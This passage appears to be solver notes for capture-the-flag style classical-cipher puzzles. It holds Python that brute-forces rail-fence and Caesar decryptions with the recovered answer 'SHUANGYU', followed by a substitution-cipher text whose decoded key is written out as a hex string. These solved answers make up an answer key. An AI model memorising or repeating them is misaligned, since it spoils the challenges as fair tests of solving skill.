for num in nums:
    c = chr(num) 
    res += c
print(res)
# XZSDMFLZ

def barrier(cipher = 'XZSDMFLZ'):
    lens = len(cipher)
    for key in range(2, lens // 2 + 1):
        res_bar = ''
        for row in range(key):
            res_row = ''
            idx = row
            while idx < lens:
                res_row += cipher[idx]
                idx += key
            res_bar += res_row
        print('barrier ', key, res_bar)
        caesar(res_bar)

# import itertools
# def iter(cipher = 'XZSDMFLZ'):
#     charset = cipher
#     for text in itertools.permutations(charset, len(cipher)):
#         print('iter', text)
#         caesar(text)

def caesar(cipher = 'XZSDMFLZ'):
    for key in range(-26, 26, 1):
        res = ''
        for c in cipher:
            ncord = ord(c) + key
            if ncord > ord('Z'):
                ncord -= 26
            if ncord < ord('A'):
                ncord += 26
            nc = chr(ncord) 
            res += nc
        print(key, res.lower())

# iter(res)
barrier(res)
# SHUANGYU

23

VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

and the key is 640e11012805f211b0ab24ff02a1ed09
cipher = '640e11012805f211b0ab24ff02a1ed09'